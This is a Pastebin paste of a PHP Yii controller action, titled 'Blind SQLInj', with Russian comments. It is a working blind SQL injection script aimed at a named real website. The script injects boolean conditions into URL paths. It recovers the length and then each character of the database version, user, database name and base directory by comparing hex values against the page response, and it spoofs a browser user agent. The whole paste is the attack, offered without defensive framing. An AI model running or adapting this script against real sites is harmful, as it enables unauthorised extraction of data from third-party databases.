Advertisement
Incubus

Blind SQLInj

Sep 26th, 2013
258
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.90 KB | None | 0 0
  1. public function actionBlind() {
  2.         ini_set("max_execution_time", "0"); // увеличиваем время выполнения скрипта
  3.         include_once(Yii::app()->basePath . "/include/simple_html_dom.php");    // подключаем Simple HTML Dom
  4.         $list = array('version()','user()','database()','@@basedir');
  5.         foreach($list as $param){
  6.             echo $param;
  7.             for ($k = 1; $k < 25; $k++) {
  8.                 $ch = curl_init();
  9.                 curl_setopt($ch, CURLOPT_URL, "http://www.ukr-prom.com/firm-100+and+LENGTH({$param})<>{$k}/");
  10.                 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  11.                 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  12.                 curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13');
  13.                 $html = curl_exec($ch);
  14.                 curl_close($ch);
  15.                 if ($html != false) {
  16.                     $html = str_get_html($html); // получаем результат и создаём DOM-модель страницы
  17.                     if (!$html->find("p.MsoNormal", 0)) {
  18.                         echo " - {$k}: ";
  19.                         for ($i = 1; $i <= $k; $i++) {
  20.                             for ($j = 30; $j < 130; $j++) {
  21.                                 $ch = curl_init();
  22.                                 curl_setopt($ch, CURLOPT_URL, "http://www.ukr-prom.com/firm-100+and+hex(substr({$param},{$i},1))<>hex(0x" . dechex($j) . ")/");
  23.                                 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  24.                                 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  25.                                 curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13');
  26.                                 $html = curl_exec($ch);
  27.                                 curl_close($ch);
  28.                                 if ($html != false) {
  29.                                     $html = str_get_html($html); // получаем результат и создаём DOM-модель страницы
  30.                                     if (!$html->find("p.MsoNormal", 0)) {
  31.                                         echo chr($j);
  32.                                         break;
  33.                                     }
  34.                                 }
  35.                             }
  36.                         }
  37.                         break;
  38.                     }
  39.                 }
  40.             }
  41.             echo "\n";
  42.         }
  43.     }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement